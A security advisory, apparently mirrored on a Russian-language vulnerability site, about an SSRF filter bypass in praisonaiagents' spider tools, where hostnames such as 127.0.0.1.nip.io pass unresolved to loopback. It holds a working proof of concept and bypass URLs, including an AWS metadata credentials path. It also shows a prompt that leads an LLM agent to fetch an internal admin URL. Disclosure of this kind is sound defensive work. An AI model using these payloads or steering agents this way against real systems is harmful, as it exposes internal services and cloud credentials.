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GHSA-x44h-65qv-cw74

Опубликовано: 25 авг. 2026
Источник: github
Github: Прошло ревью
CVSS3: 8.5

Описание

praisonaiagents has an SSRF protection bypass in spider_tools._host_is_blocked() via DNS-resolved hostnames (127.0.0.1.nip.io)

Summary

praisonaiagents/tools/spider_tools.py contains an SSRF protection bypass. The function _host_is_blocked() validates URLs against a list of blocked IP literals and hostname aliases, but never performs DNS resolution. Any hostname that resolves to a private or loopback IP address — including public wildcard DNS services like 127.0.0.1.nip.io — bypasses the protection entirely.

This has been confirmed with a live exploit: scrape_page("http://127.0.0.1.nip.io:PORT/secret") makes an HTTP request to 127.0.0.1:PORT and returns the internal service response. No attacker-controlled infrastructure is required.

scrape_page, extract_links, crawl, and extract_text are all registered as LLM-callable agent tools (see tools/__init__.py lines 51-55), so any agent instructed to fetch a user-supplied URL will trigger this path.

This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to web_crawl_tools.py (line 231: socket.gethostbyname call), but that fix was not ported to spider_tools.py.

Details

Root cause — spider_tools.py lines 26-65:

def _host_is_blocked(hostname: str) -> bool: host = hostname.lower().rstrip(".") # Checks literal aliases only — never resolves if host in ("localhost", "0.0.0.0", "::1"): return True if host in ("169.254.169.254", "metadata.google.internal"): return True if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")): return True # Tries to parse as IP literal only try: return _ip_blocked(ipaddress.ip_address(host)) except ValueError: pass try: return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host))) except OSError: pass return False # <-- ANY real hostname passes without DNS lookup

socket.inet_aton() only converts dotted-decimal strings, not hostnames. For any real hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ip_address() and socket.inet_aton() raise exceptions, and the function returns False (not blocked).

Contrast with the fixed version in web_crawl_tools.py line 228-238:

if os.environ.get("ALLOW_LOCAL_CRAWL") != "true": try: ip_str = socket.gethostbyname(hostname) # DNS resolution performed ip = ipaddress.ip_address(ip_str) if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast: continue # BLOCKED except socket.gaierror: continue # fail-closed

Tool registration confirms this is user-reachable:

# praisonaiagents/tools/__init__.py lines 51-55 TOOL_MAPPINGS = { 'scrape_page': ('.spider_tools', None), # <- user-reachable LLM tool 'extract_links': ('.spider_tools', None), 'crawl': ('.spider_tools', None), 'extract_text': ('.spider_tools', None), ... }

Any agent given these tools will call scrape_page(url) when instructed to fetch a user-supplied URL — including attacker-controlled ones.

PoC

Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)

Step 1 — Verify the filter bypass (no network needed):

from praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked # nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1 print(_host_is_blocked("127.0.0.1.nip.io")) # False — NOT blocked print(SpiderTools()._validate_url("http://127.0.0.1.nip.io/")) # True — ALLOWED print(_host_is_blocked("127.0.0.1")) # True — correctly blocked

Expected output:

False True True

Step 2 — Full SSRF: internal service response exfiltrated

import threading, time, requests from http.server import HTTPServer, BaseHTTPRequestHandler from praisonaiagents.tools.spider_tools import SpiderTools PORT = 19235 received = [] class InternalService(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.end_headers() self.wfile.write(b'{"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}') received.append(self.path) def log_message(self, *a): pass threading.Thread( target=HTTPServer(("127.0.0.1", PORT), InternalService).serve_forever, daemon=True ).start() time.sleep(0.2) attack_url = f"http://127.0.0.1.nip.io:{PORT}/secrets.json" # Filter allows it assert SpiderTools()._validate_url(attack_url) is True # passes # HTTP request actually reaches 127.0.0.1 r = requests.get(attack_url, timeout=5) print("STATUS:", r.status_code) # 200 print("BODY: ", r.text) # {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"} print("HIT: ", received) # ['/secrets.json']

Observed output:

STATUS: 200 BODY: {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"} HIT: ['/secrets.json']

Step 3 — Agent-level trigger (how a user triggers this in production):

from praisonaiagents import Agent from praisonaiagents.tools import scrape_page agent = Agent( name="WebResearcher", instructions="You are a research assistant. Fetch and summarize the given URL.", tools=[scrape_page], ) # Attacker sends this message to the agent: result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin") # Agent calls scrape_page("http://127.0.0.1.nip.io:8080/admin") # Request hits 127.0.0.1:8080/admin # Internal admin panel content returned to attacker print(result)

Additional bypass URLs (no setup required):

TargetURL
Localhosthttp://127.0.0.1.nip.io/
Private networkhttp://10.0.0.1.nip.io/
AWS IMDS (via sslip.io)http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/

Impact

What kind of vulnerability: Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.

Who is impacted: Anyone deploying PraisonAI agents that include scrape_page, extract_links, crawl, or extract_text tools and accept user-supplied URLs. This includes:

  • Web research agents (the primary intended use case for spider tools)
  • Jobs API users — any authenticated API caller who submits jobs with agent_yaml specifying spider tools
  • Cloud deployments (Critical escalation): On AWS EC2 with IMDSv1, fetching http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ may return temporary IAM credentials, leading to full cloud account compromise.

Severity note: This is a patch-gap variant. The SSRF protection was correctly implemented for IP literals and enhanced in commit 004dcfef for encoding bypasses. The DNS resolution check was added to web_crawl_tools.py but was missed in spider_tools.py, creating an exploitable inconsistency.

--- ## Remediation Suggestion (for maintainers) One-line fix in `_host_is_blocked()` — mirror what `web_crawl_tools.py` already does: ```python # After existing literal checks, add: try: resolved = socket.gethostbyname(hostname) return _ip_blocked(ipaddress.ip_address(resolved)) except (socket.gaierror, ValueError, OSError): return True # fail-closed: unresolvable host is blocked

Пакеты

Наименование

praisonaiagents

pip
Затронутые версииВерсия исправления

< 1.6.58

1.6.58

EPSS

Процентиль: 11%
0.00205
Низкий

8.5 High

CVSS3

Дефекты

CWE-350
CWE-918

Связанные уязвимости

CVSS3: 8.5
nvd
22 дня назад

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, spider_tools._host_is_blocked() does not resolve ordinary hostnames before scrape_page fetches them. A hostname such as 127.0.0.1.nip.io passes validation and resolves to loopback, permitting internal HTTP access. The fix uses socket.getaddrinfo and fails closed on DNS errors. This issue is fixed in version 1.6.58.

EPSS

Процентиль: 11%
0.00205
Низкий

8.5 High

CVSS3

Дефекты

CWE-350
CWE-918